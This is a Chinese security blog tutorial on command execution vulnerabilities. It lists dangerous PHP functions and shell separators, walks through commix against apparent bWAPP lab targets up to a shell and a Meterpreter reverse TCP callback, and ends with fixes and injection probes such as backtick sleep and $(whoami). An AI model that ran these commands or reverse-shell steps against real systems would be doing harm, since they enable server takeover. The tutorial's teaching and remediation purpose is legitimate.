雨云服务器助你轻松搭建内网穿透,解决无公网IP问题。-X黑手网
点击查看-X黑手网
点击查看-X黑手网

实战:新手小白之-安全测试之命令执行漏洞攻击

免责申明

本教程的技术文章仅供参考,只用于教育目的,只是演示一些工具和工具的使用以及渗透思路,大佬勿喷,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!

1.什么是命令执行漏洞

命令执行(Command Execution)漏洞即黑客可以直接在Web应用中执行系统命令,从而获取敏感信息或者拿下shell权限
命令执行漏洞可能造成的原因是Web服务器对用户输入命令安全检测不足,导致恶意代码被执行,通俗讲命令执行漏洞就是服务器端没有对客户端用户输入的命令进行过滤,导致用户可以通过任意拼接系统命令,使服务器端成功执行任意系统命令。为什么客户端能直接对服务器执行命令呢,因为在服务器安装的web程序,web框架和web组件等外部程序有时候去需要调用执行命令的函数,所以如果没有对客户端用户输入的命令进行过滤,就会使得用户通过外部程序直接编写和执行系统的命令函数。

2.命令执行漏洞的产生原因

由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并提交服务端执行命令注入攻击中, Web服务器没有过滤类似system、eval和exec等函数,是该漏洞攻击成功的主要原因。

常见的漏洞产生的原因
 1.没有对用户输入进行过滤或过滤不严
 2.系统漏洞造成的命令执行
 3.调用的第三方组件存在代码执行漏洞

3.命令执行漏洞的危害

1.继承Web服务程序的权限去执行系统命令(任意代码)或读写文件
2.反弹shell
3.控制整个网站甚至控制服务器
4.进一步内网渗透

4.常见的危险函数

1. Php代码相关
    eval()
    assert()
    preg_replace
    call_user_func()
    call_user_func_array()
    create_function
    array_map()
2. 系统命令执行相关
    system()
    passthru()
    exec()
    pcntl_exec()
    shell_exec()
    popen()
    proc_open()
    `(反单引号)
    ob_start()

命令执行分隔符:

windows: &&  ||  &  | 
linux:   &&   ||   &  |    ;

命令执行漏洞:

直接调用操作系统命令

命令执行漏洞原理:

在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

commix工具配合命令注入

commix是一款由python编写,开源自动化检测系统命令注入工具   

下载地址

演示

image

python3 commix.py --url="http://123.58.224.8:30670/index.php" --data="ip=INJECT_HERE&       submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4"
python3 commix.py --url="http://123.58.224.8:34144/index.php" --data="ip=127.0.0.1&Submit=submit"

询问是否想要一个shell 输入Y 的到shell

[?] Do you want a Pseudo-Terminal shell? [Y/n] > y

Pseudo-Terminal (type '?' for available options)

commix(os_shell) >

得到shell

commix(os_shell) > pwd 

/owaspbwa/bwapp-git/bWAPP

commix(os_shell) > id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

commix(os_shell) > ls -ll 

可以进行反弹shell 结合metasploit 进行内网渗透

commix(os_shell) > reverse_tcp  

commix(reverse_tcp) > set LHOST 192.168.120.101 “””(msf机器)

LHOST => 192.168.120.101

commix(reverse_tcp) > set LPORT 4444

LPORT => 4444

—[ Reverse TCP shells ]—     

Type ‘1’ to use a netcat reverse TCP shell.

Type ‘2’ for other reverse TCP shells.

commix(reverse_tcp) > 2 

—[ Unix-like reverse TCP shells ]—

Type ‘1’ to use a PHP reverse TCP shell.

Type ‘2’ to use a Perl reverse TCP shell.

Type ‘3’ to use a Ruby reverse TCP shell. 

Type ‘4’ to use a Python reverse TCP shell.

Type ‘5’ to use a Socat reverse TCP shell.

Type ‘6’ to use a Bash reverse TCP shell.

Type ‘7’ to use a Ncat reverse TCP shell.

—[ Meterpreter reverse TCP shells ]—

Type ‘8’ to use a PHP meterpreter reverse TCP shell.

Type ‘9’ to use a Python meterpreter reverse TCP shell. 

Type ’10’ to use a Windows meterpreter reverse TCP shell. 

Type ’11’ to use the web delivery script. 

commix(reverse_tcp_other) > 8

[*] Generating the ‘php/meterpreter/reverse_tcp’ payload… [ SUCCEED ]

[*] Type “msfconsole -r /usr/share/commix/php_meterpreter.rc” (in a new window). #复制 启动msf

[*] Once the loading is done, press here any key to continue…  #按下确定建就可进行在msf接收到反弹的shell

[+] Everything is in place, cross your fingers and wait for a shell!

总结 commix工具利用

1.访问 web页面http://192.168.115.12/bWAPP/commandi.php

2.提交数据 通过抓包工具截取 url  cookie  data数据

3.用commix 工具指定链接并进入后台

commix  -- url "http://192.168.115.12/bWAPP/commandi.php"   --data="target=www.nsa.gov&form=submit"  --cookie "xxxxxxxxxxxxxxxxxxxxxxx"

命令执行漏洞修复建议:

  • 尽量不使用命令执行函数
  • 提交的变量在进入执行命令函数前进行过滤和检测(如:调用addslashes进行转义)
  • 使用动态函数之前,确保使用的函数是指定的函数之一
  • 对于PHP语言,不能完全控制的危险函数(如:disable_functions)最好不使用

漏洞挖掘

再测试SSRF的地方尝试测试命令执行
尝试在url,xxxurl等参数下测试命令执行
如输入http://服务器ip/ 采用nc监听探测是否访问。
尝试 输入http:// `sleep 5`.服务器地址/ 出现延迟就说明存在注入
尝试输入 http://服务器地址/$(whoami)
尝试输入http://`whoami`.服务器地址

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容